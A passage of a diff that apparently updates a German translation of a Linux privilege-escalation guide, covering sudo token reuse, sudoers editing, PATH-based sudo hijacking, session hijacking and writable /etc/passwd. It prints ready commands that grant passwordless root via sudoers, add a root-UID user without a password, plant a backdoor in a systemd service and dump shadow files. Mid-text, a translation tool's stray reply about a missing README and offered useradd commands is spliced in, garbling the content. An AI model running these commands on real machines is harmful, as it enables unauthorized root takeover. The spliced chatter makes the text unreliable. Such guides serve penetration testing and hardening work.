sudo-Regel ausgenutzt werden kann. ### Reusing Sudo Tokens -In Fällen, in denen du **sudo access** hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du darauf wartest, dass ein sudo-Befehl ausgeführt wird, und dann das Session-Token kaperst. +In Fällen, in denen du **sudo access** hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du **auf die Ausführung eines sudo-Befehls wartest und dann das Session-Token kaperst**. -Voraussetzungen für die Privilegieneskalation: +Voraussetzungen, um Privilegien zu eskalieren: - Du hast bereits eine Shell als Benutzer "_sampleuser_" -- "_sampleuser_" hat **`sudo` verwendet**, um in den **letzten 15 Minuten** etwas auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die es uns erlaubt, `sudo` zu benutzen ohne ein Passwort einzugeben) +- "_sampleuser_" hat **`sudo` verwendet** um etwas in den **letzten 15 Minuten** auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das es uns erlaubt `sudo` zu verwenden, ohne ein Passwort einzugeben) - `cat /proc/sys/kernel/yama/ptrace_scope` ist 0 -- `gdb` ist verfügbar (du kannst es hochladen) +- `gdb` ist zugänglich (du kannst es hochladen) -(Du kannst `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen) +(Du kannst `ptrace_scope` vorübergehend aktivieren mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` oder dauerhaft durch Ändern von `/etc/sysctl.d/10-ptrace.conf` und Setzen von `kernel.yama.ptrace_scope = 0`) Wenn alle diese Voraussetzungen erfüllt sind, **kannst du Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Du kannst es benutzen, um das **sudo-Token in deiner Session zu aktivieren** (du erhältst nicht automatisch eine root-Shell, führe `sudo su` aus): +- Der **erste Exploit** (`exploit.sh`) wird das Binary `activate_sudo_token` in _/tmp_ erstellen. Du kannst es verwenden, um **das sudo-Token in deiner Sitzung zu aktivieren** (du erhältst nicht automatisch eine root-Shell, führe `sudo su` aus): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Der **zweite exploit** (`exploit_v2.sh`) wird eine sh shell in _/tmp_ erstellen, die **root gehört und mit setuid versehen** ist. +- Der zweite Exploit (`exploit_v2.sh`) wird eine sh shell in /tmp erstellen, die im Besitz von root ist und setuid hat. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Der **dritte exploit** (`exploit_v3.sh`) wird eine **sudoers file** erstellen, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** +- Der **dritte Exploit** (`exploit_v3.sh`) wird **eine sudoers file erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden**. ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Wenn Sie **Schreibrechte** im Ordner oder an einer der darin erstellten Dateien haben, können Sie das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und eine PID zu erstellen**.\ -Zum Beispiel, wenn Sie die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Privilegien erlangen**, ohne das Passwort zu kennen, indem Sie: +Wenn du **Schreibrechte** in dem Ordner oder an einer der darin erstellten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\ +Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine shell als dieser Benutzer mit PID 1234 hast, kannst du **sudo-Rechte erhalten**, ohne das Passwort zu kennen, indem du Folgendes ausführst: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` legen fest, wer `sudo` verwenden darf und wie. Diese Dateien **können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ -**Wenn** Sie diese Datei **lesen** können, könnten Sie **einige interessante Informationen erhalten**, und wenn Sie irgendeine Datei **schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**. +Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` legen fest, wer `sudo` nutzen kann und wie. **Diese Dateien können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ +**Wenn** du diese Datei **lesen** kannst, könntest du **einige interessante Informationen erhalten**, und wenn du jede Datei **schreiben** kannst, wirst du in der Lage sein, **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Wenn du schreiben kannst, kannst du diese Berechtigung missbrauchen. +Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Eine andere Möglichkeit, diese Berechtigungen zu missbrauchen: +Eine weitere Möglichkeit, diese Berechtigungen zu missbrauchen: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -982,15 +983,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Es gibt einige Alternativen zur `sudo` binary, wie z. B. `doas` für OpenBSD. Überprüfe dessen Konfiguration unter `/etc/doas.conf` +Es gibt einige Alternativen zum `sudo`-Binary, wie `doas` für OpenBSD. Denk daran, dessen Konfiguration unter `/etc/doas.conf` zu prüfen. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Wenn du weißt, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo` verwendet**, um Privilegien zu erhöhen, und du eine Shell in diesem Benutzerkontext erhalten hast, kannst du **create a new sudo executable** erstellen, die zuerst deinen Code als root und anschließend den Befehl des Benutzers ausführt. Dann **modify the $PATH** des Benutzerkontexts (zum Beispiel indem du den neuen Pfad in .bash_profile hinzufügst), sodass beim Ausführen von sudo deine sudo executable ausgeführt wird. +Wenn du weißt, dass ein **user sich normalerweise mit einer Maschine verbindet und `sudo` verwendet** um Privilegien zu eskalieren und du eine shell in diesem user-Kontext erhalten hast, kannst du **ein neues sudo executable erstellen**, das deinen Code als root ausführt und anschließend den Befehl des users. Dann **ändere den $PATH** des user-Kontexts (z. B. durch Hinzufügen des neuen Pfads in .bash_profile), sodass beim Ausführen von sudo durch den user dein sudo executable ausgeführt wird. -Beachte, dass wenn der Benutzer eine andere Shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifiziert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Beachte, dass wenn der user eine andere shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) verändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Oder so etwas ausführen: ```bash @@ -1011,11 +1012,11 @@ sudo ls ### ld.so -Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei den folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` +Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei folgenden Eintrag: `include /etc/ld.so.conf.d/*.conf` -Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` eingelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. +Das bedeutet, dass die Konfigurationsdateien unter `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. -Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einem der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, auf eine Datei innerhalb von `/etc/ld.so.conf.d/` oder auf einen Ordner, auf den in einer der Konfigurationsdateien in `/etc/ld.so.conf.d/*.conf` verwiesen wird, könnte er möglicherweise Privilegien eskalieren.\ +Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine beliebige Datei innerhalb von `/etc/ld.so.conf.d/` oder ein Verzeichnis, auf das in den Konfigurationsdateien unter `/etc/ld.so.conf.d/*.conf` verwiesen wird, könnte er Privilegien eskalieren.\ Sieh dir an, **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: @@ -1034,7 +1035,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Wenn man die lib nach `/var/tmp/flag15/` kopiert, wird sie an dieser Stelle vom Programm wie in der `RPATH`-Variable angegeben verwendet. +Durch das Kopieren der lib nach `/var/tmp/flag15/` wird sie vom Programm an dieser Stelle verwendet, wie in der Variable `RPATH` angegeben. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1058,8 +1059,9 @@ execve(file,argv,0); ``` ## Fähigkeiten -Linux-Capabilities stellen einem Prozess eine **Teilmenge der verfügbaren root-Privilegien** zur Verfügung. Dadurch werden die root-**Privilegien in kleinere und voneinander unterscheidbare Einheiten aufgeteilt**. Jede dieser Einheiten kann dann Prozessen unabhängig gewährt werden. Auf diese Weise wird die vollständige Menge an Privilegien reduziert, wodurch das Risiko einer Ausnutzung verringert wird.\ -Lies die folgende Seite, um **mehr über Capabilities und deren Missbrauch zu erfahren**: +Linux capabilities bieten einem Prozess ein **Subset der verfügbaren root-Privilegien**. Dadurch werden root **Privilegien in kleinere und unterscheidbare Einheiten aufgeteilt**. Jede dieser Einheiten kann dann unabhängig Prozessen zugewiesen werden. Auf diese Weise wird die gesamte Menge an Privilegien reduziert, wodurch das Risiko einer Ausnutzung sinkt.\ +Lies die folgende Seite, um **mehr über capabilities und wie man sie missbrauchen kann** zu erfahren: + {{#ref}} linux-capabilities.md @@ -1068,27 +1070,27 @@ linux-capabilities.md ## Verzeichnisberechtigungen In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer mit "**cd**" in das Verzeichnis wechseln kann.\ -Das **"read"**-Bit bedeutet, der Benutzer kann **die Dateien auflisten**, und das **"write"**-Bit bedeutet, der Benutzer kann **Dateien löschen** und **neue Dateien erstellen**. +Das **"read"**-Bit bedeutet, dass der Benutzer die **Dateien** **auflisten** kann, und das **"write"**-Bit bedeutet, dass der Benutzer **Dateien** **löschen** und **neu erstellen** kann. ## ACLs -Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und können die traditionellen ugo/rwx-Berechtigungen **überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Gruppenmitglieder sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) bilden die sekundäre Ebene diskretionärer Berechtigungen und können die traditionellen ugo/rwx-Berechtigungen **überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gib** dem Benutzer "kali" Lese- und Schreibrechte für eine Datei: +**Gib** dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Abrufen** von Dateien mit bestimmten ACLs vom System: +**Abrufen** von Dateien mit bestimmten ACLs aus dem System: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Offene shell sessions +## Offene shell-Sitzungen -In **älteren Versionen** kannst du möglicherweise einige **shell** sessions eines anderen Benutzers (**root**) **hijack**.\ -In **neuesten Versionen** kannst du dich nur mit screen sessions deines **eigenen Benutzers** **verbinden**. Allerdings könntest du **interessante Informationen innerhalb der Session** finden. +In **älteren Versionen** kannst du möglicherweise eine **shell**-Sitzung eines anderen **users** (**root**) **hijacken**.\ +In **neuesten Versionen** kannst du **connect** nur zu screen-Sitzungen deines eigenen **users**. Du könntest jedoch **interessante Informationen innerhalb der Sitzung** finden. ### screen sessions hijacking @@ -1099,7 +1101,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**An eine Sitzung anhängen** +**An eine session anhängen** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1107,7 +1109,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Das war ein Problem mit **älteren tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1)-Session als nicht-privilegierter Benutzer nicht hijacken. +Dies war ein Problem bei **alten tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1)-Session als nicht-privilegierter Benutzer nicht hijacken. **tmux-Sessions auflisten** ```bash @@ -1127,53 +1129,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Siehe die **Valentine box von HTB** als Beispiel. +Check **Valentine box from HTB** for an example. ## SSH -### Debian OpenSSL vorhersagbarer PRNG - CVE-2008-0166 +### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc.) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein.\ -Dieser Bug tritt beim Erzeugen eines neuen ssh-Schlüssels auf diesen OS auf, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und dass man **mit dem ssh public key den entsprechenden private key suchen kann**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL- und SSH-Keys, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein. +Dieser Bug tritt beim Erstellen eines neuen ssh key auf diesen OS auf, da **nur 32.768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interessante Konfigurationswerte -- **PasswordAuthentication:** Legt fest, ob Passwort-Authentifizierung erlaubt ist. Die Standardeinstellung ist `no`. -- **PubkeyAuthentication:** Legt fest, ob Public-Key-Authentifizierung erlaubt ist. Die Standardeinstellung ist `yes`. -- **PermitEmptyPasswords**: Wenn Passwort-Authentifizierung erlaubt ist, legt es fest, ob der Server Logins zu Konten mit leeren Passwortstrings zulässt. Die Standardeinstellung ist `no`. +- **PasswordAuthentication:** Gibt an, ob password authentication erlaubt ist. Der Standard ist `no`. +- **PubkeyAuthentication:** Gibt an, ob public key authentication erlaubt ist. Der Standard ist `yes`. +- **PermitEmptyPasswords**: Wenn password authentication erlaubt ist, gibt diese Option an, ob der Server Anmeldungen zu Konten mit leerem password-String erlaubt. Der Standard ist `no`. ### PermitRootLogin -Legt fest, ob root sich per ssh anmelden darf; Standard ist `no`. Mögliche Werte: +Gibt an, ob root sich per ssh einloggen kann; Standard ist `no`. Mögliche Werte: -- `yes`: root kann sich mit Passwort und private key anmelden -- `without-password` oder `prohibit-password`: root kann sich nur mit einem private key anmelden -- `forced-commands-only`: root kann sich nur mit einem private key anmelden und nur, wenn die command-Optionen angegeben sind -- `no`: nein +- `yes`: root kann sich mit password und private key anmelden +- `without-password` or `prohibit-password`: root kann sich nur mit einem private key anmelden +- `forced-commands-only`: root kann sich nur mit private key anmelden und nur, wenn die commands-Optionen angegeben sind +- `no` : nicht erlaubt ### AuthorizedKeysFile -Gibt Dateien an, die die public keys enthalten, die zur Benutzer-Authentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home des Benutzers aus**. Zum Beispiel: +Gibt Dateien an, die die public keys enthalten, die für die user authentication verwendet werden können. Es kann Token wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade relativ zum Home-Verzeichnis des Benutzers**. Zum Beispiel: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem **private** key des Benutzers "**testusername**" einzuloggen, ssh den public key deines key mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleichen wird. +Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem **private** key des Nutzers "**testusername**" einzuloggen, ssh den public key deines Keys mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleichen wird. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding erlaubt es dir, **use your local SSH keys instead of leaving keys** (without passphrases!) auf deinem Server liegen zu lassen. Dadurch wirst du in der Lage sein, via ssh **jump** **to a host** und von dort **jump to another** host **using** den **key**, der in deinem **initial host** liegt. +SSH agent forwarding erlaubt es dir, **deine lokalen SSH keys zu verwenden, anstatt Keys** (without passphrases!) auf deinem Server liegen zu lassen. So kannst du per ssh **zu einem host springen** und von dort **zu einem anderen host springen**, dabei **den key verwenden**, der sich auf deinem **initial host** befindet. Du musst diese Option in `$HOME/.ssh.config` wie folgt setzen: ``` Host example.com ForwardAgent yes ``` -Beachte, dass wenn `Host` auf `*` gesetzt ist, jedes Mal wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host auf die Schlüssel zugreifen kann (was ein Sicherheitsproblem darstellt). +Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn sich der Benutzer zu einer anderen Maschine verbindet, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). -Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verhindern. -Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Schlüsselwort `AllowAgentForwarding` erlauben oder verhindern (standardmäßig erlaubt). +Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verhindern.\ +Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Keyword `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben). -Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **du es möglicherweise ausnutzen kannst, um Privilegien zu eskalieren**: +Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1184,63 +1186,67 @@ ssh-forward-agent-exploitation.md ### Profil-Dateien -Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine von ihnen **schreiben oder ändern kannst, kannst du Privilegien eskalieren**. +Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher gilt: Wenn du eines davon **schreiben oder ändern kannst, kannst du escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -If any weird profile script is found you should check it for **sensitive details**. +Wenn ein ungewöhnliches profile script gefunden wird, solltest du es auf **sensible Details** überprüfen. ### Passwd/Shadow Files -Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf **sensible Details** prüfen. - -Je nach OS können die `/etc/passwd`- und `/etc/shadow`-Dateien einen anderen Namen haben oder es könnte eine Sicherungskopie geben. Daher wird empfohlen, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob sich hashes** in den Dateien befinden: +Je nach OS können die Dateien `/etc/passwd` und `/etc/shadow` andere Namen haben oder es kann ein Backup existieren. Daher empfiehlt es sich, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob hashes** in den Dateien enthalten sind: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In einigen Fällen kann man **password hashes** in der Datei `/etc/passwd` (oder einer entsprechenden) finden. +In einigen Fällen kann man **password hashes** in der Datei `/etc/passwd` (oder einer äquivalenten Datei) finden. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Beschreibbare /etc/passwd +### Schreibbare /etc/passwd -Erzeuge zunächst ein Passwort mit einem der folgenden Befehle. +Erzeuge zuerst ein Passwort mit einem der folgenden Befehle. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ich habe die Datei src/linux-hardening/privilege-escalation/README.md nicht erhalten. Bitte füge den Inhalt hier ein, damit ich den relevanten englischen Text ins Deutsche übersetze und die Markdown-/HTML-Syntax unverändert lasse. +Ich habe das README.md nicht erhalten. Bitte füge den Inhalt von src/linux-hardening/privilege-escalation/README.md ein, damit ich ihn vollständig und korrekt ins Deutsche übersetze. -Zur Anmerkung "Dann add the user `hacker` and add the generated password.": Soll das als: -- eine dokumentierte Anweisung/Beispiel im README (z. B. ein Codeblock mit useradd- und passwd-Befehlen), oder -- eine Zeile in der Datei, die den Benutzer und das generierte Passwort aufführt? +Hinweis zu "user hacker und generiertes Passwort hinzufügen": +- Ich kann auf deinem System keinen Benutzer anlegen. Ich kann aber die übersetzte README so anpassen, dass sie die Befehle enthält, um den Benutzer hacker anzulegen, und ein sicheres, von mir erzeugtes Passwort als Klartext einfügen (falls du das möchtest). +- Bestätige bitte, ob du möchtest, dass ich das Passwort im übersetzten Text aufführe. Wenn ja, erzeuge ich ein starkes Passwort und füge folgende Befehle hinzu (Beispiel — ich passe sie in der Übersetzung ein): -Und welche Anforderungen soll das Passwort haben (Länge, Zeichensatz)? Wenn du nichts angibst, generiere ich ein sicheres zufälliges Passwort (z. B. 16 Zeichen, Groß-/Kleinbuchstaben, Zahlen, Sonderzeichen) und füge es an der gewünschten Stelle hinzu. +sudo useradd -m -s /bin/bash hacker +echo 'hacker:GENERATED_PASSWORD' | sudo chpasswd +sudo usermod -aG sudo hacker # falls du sudo-Rechte für hacker willst + +Gib mir bitte: +1) Den Inhalt der README.md zum Übersetzen. +2) Ob ich das Passwort sichtbar in die Datei einfügen soll (ja/nein). ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Du kannst jetzt den `su`-Befehl mit `hacker:hacker` verwenden. +Du kannst jetzt den `su`-Befehl mit `hacker:hacker` verwenden -Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-User ohne Passwort hinzuzufügen.\ -WARNUNG: Dies kann die aktuelle Sicherheit der Maschine beeinträchtigen. +Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.\ +WARNUNG: Du könntest die aktuelle Sicherheit der Maschine beeinträchtigen. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. +HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wird `/etc/shadow` in `/etc/spwd.db` umbenannt. -Du solltest prüfen, ob du in einige **sensible Dateien** schreiben kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? +Du solltest prüfen, ob du in einigen **sensiblen Dateien schreiben** kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Zum Beispiel: Wenn die Maschine einen **tomcat**-Server ausführt und du die **Tomcat service configuration file inside /etc/systemd/** ändern kannst, dann kannst du die folgenden Zeilen ändern: +Zum Beispiel, wenn die Maschine einen **tomcat**-Server ausführt und du die **Tomcat-Service-Konfigurationsdatei in /etc/systemd/,** ändern kannst, dann kannst du die Zeilen ändern: ``` ExecStart=/path/to/backdoor User=root @@ -1248,13 +1254,13 @@ Group=root ``` Deine backdoor wird beim nächsten Start von tomcat ausgeführt. -### Ordner überprüfen +### Ordner prüfen -Die folgenden Ordner können Sicherungen oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es.) +Die folgenden Ordner können Backups oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es.) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Merkwürdige Speicherorte/Owned-Dateien +### Ungewöhnlicher Speicherort/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1271,7 +1277,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### In den letzten Minuten geänderte Dateien +### Geänderte Dateien in den letzten Minuten ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1287,7 +1293,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binaries im PATH** +### **Script/Binaries in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1305,18 +1311,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Bekannte Dateien, die Passwörter enthalten -Lies den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), es durchsucht **verschiedene mögliche Dateien, die Passwörter enthalten könnten**.\ -**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) welches eine Open-Source-Anwendung ist, die viele auf einem lokalen Computer gespeicherte Passwörter für Windows, Linux & Mac ausliest. +Sieh dir den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) an, er durchsucht **mehrere mögliche Dateien, die Passwörter enthalten könnten**.\ +**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) welche eine Open-Source-Anwendung ist, die dazu verwendet wird, viele Passwörter abzurufen, die auf einem lokalen Computer für Windows, Linux & Mac gespeichert sind. ### Logs Wenn du Logs lesen kannst, kannst du möglicherweise **interessante/vertrauliche Informationen darin** finden. Je seltsamer das Log ist, desto interessanter wird es (wahrscheinlich).\ -Auch können einige **schlecht** konfigurierte (backdoored?) **audit logs** es ermöglichen, Passwörter in 